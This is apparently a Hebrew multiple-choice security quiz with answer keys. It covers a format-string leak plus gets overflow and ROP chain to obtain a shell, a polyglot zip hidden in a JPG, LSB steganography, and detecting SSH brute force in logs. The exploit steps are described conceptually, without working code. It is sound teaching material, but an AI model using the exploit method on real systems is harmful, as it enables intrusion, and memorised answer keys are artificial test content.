גאמא סגנון ג׳ — Full Exploit Flow · Binary: Canary+NX+PIE+Full RELRO. יש printf(buf) (Format String) ויש gets(buf) (BOF). איזו פגיעות תשמש ל-Leak ואיזו ל-Shell?
- א. gets(buf) משמש דווקא ל-Leak ואילו printf(buf) משמש להשגת ה-Shell בסוף
- ב. שתי הפגיעויות משמשות יחד להשגת Shell, ללא כל שלב Leak נפרד ביניהן כאן
- ג. רק printf(buf) לבדו מספיק כדי לבצע את כל הניצול מתחילתו ועד סופו כאן
- ד. printf(buf) ל-Leak (Format String ← %p) ו-gets(buf) ל-BOF וקבלת Shell
✓ תשובה: ד) — Format String (printf(buf)): כלי Leak מושלם. %N$p חושף Stack values = Canary, Return Addresses (PIE), libc pointers. gets(buf): BOF ללא הגבלה. לאחר Leak: שלח gets payload עם Canary Restore + ROP Chain → Shell. שתי פגיעויות, כל אחת לתפקידה.
שאלה 5.1 [קל] · הרצת file secret.jpg וקיבלת Zip archive data. מה הפעולה הבאה?
file secret.jpg
- א. התמונה פשוט פגומה: הנחה שגויה, אף שזיהוי Zip archive data מעיד על ארכיון מוסתר ולא על נזק, ולכן יש לחלץ אותו עם binwalk או שינוי סיומת כן
- ב. צריך לפתוח כתמונה רגילה: הנחה שגויה, אף שהחתימה מזהה Zip ולא JPEG תקין, ולכן הצעד הנכון הוא חילוץ הארכיון המוסתר ולא צפייה כתמונה
- ג. לשנות את הסיומת ל-zip ולפתוח, או להריץ binwalk לחילוץ — הקובץ הוא Polyglot שבו הוסתר ארכיון בתוך תמונה, ולכן החתימה מזהה אותו כ-Zip
- ד. יש להצפין את הקובץ מחדש: הנחה שגויה, אף שאין כאן צורך בהצפנה, שכן file חשף ארכיון Zip מוסתר שיש לחלץ עם binwalk או בשינוי הסיומת ל-zip
✓ תשובה נכונה: ג — file קורא Magic Bytes, לא סיומת. 'Zip archive' = Polyglot (Zip מוסתר ב-JPG). חלץ: binwalk -e secret.jpg או שנה ל-.zip ופתח.
שאלה 5.2 [בינוני] · מה זה LSB Steganography?
LSB Steganography
- א. הצפנת התמונה כולה: הנחה שגויה, אף ש-Steganography מסתיר מידע בתוך התמונה ואינו מצפין אותה, ולכן LSB מטמין ביטים ואינו הופך אותה לבלתי-קריאה
- ב. דחיסת התמונה לגודל קטן: הנחה שגויה, אף ש-LSB אינו קשור לדחיסה, אלא לשינוי הביט הנמוך של הפיקסלים כדי להסתיר בהם מידע מבלי שייראה לעין
- ג. שינוי הביט הנמוך ביותר (LSB) של כל Pixel כדי להסתיר מידע — השינוי אינו נראה לעין האנושית, ומאפשר להטמין ביט נתונים אחד בכל פיקסל בתמונה
- ד. שינוי הביט הגבוה של Pixel: הנחה שגויה, אף ששינוי הביט הגבוה היה נראה בבירור לעין, ולכן ההסתרה נעשית דווקא בביט הנמוך ביותר שאינו מורגש כן
✓ תשובה נכונה: ג — LSB = הסתרת ביט בביט הנמוך של כל ערוץ צבע בפיקסל. שינוי בלתי-מורגש לעין. חילוץ: כלים כמו zsteg, stegsolve. נפוץ מאוד ב-CTF Forensics.
שאלה 5.3 [קשה] · ב-Log: Failed password for root ... 50 ניסיונות בשנייה. מה קורה?
Failed password for root ... 50 ניסיונות בשנייה
- א. המשתמש שכח סיסמה: הנחה שגויה, אף שאדם אינו מקליד עשרות ניסיונות בשנייה, ולכן הקצב הגבוה מעיד על כלי אוטומטי במתקפת Brute Force על SSH
- ב. תקלת רשת זמנית: הנחה שגויה, אף שתקלת רשת אינה מייצרת ניסיונות סיסמה כושלים חוזרים, והדפוס הזה מעיד בבירור על מתקפת פיצוח אוטומטית
- ג. עדכון מערכת שגרתי: הנחה שגויה, אף שעדכונים אינם מנסים להתחבר כ-root שוב ושוב, ולכן ריבוי הכשלים המהיר מצביע על Brute Force על שירות SSH
- ד. SSH Brute Force — קצב של עשרות ניסיונות כושלים בשנייה מאותה כתובת מעיד על ניסיון פיצוח אוטומטי של סיסמת root, ולכן זו מתקפה פעילה
✓ תשובה נכונה: ד — 50 ניסיונות/שנייה = כלי אוטומטי (Hydra/Medusa) ב-SSH Brute Force. הגנה: fail2ban, מפתחות במקום סיסמאות, ו-Rate Limiting על הפורט.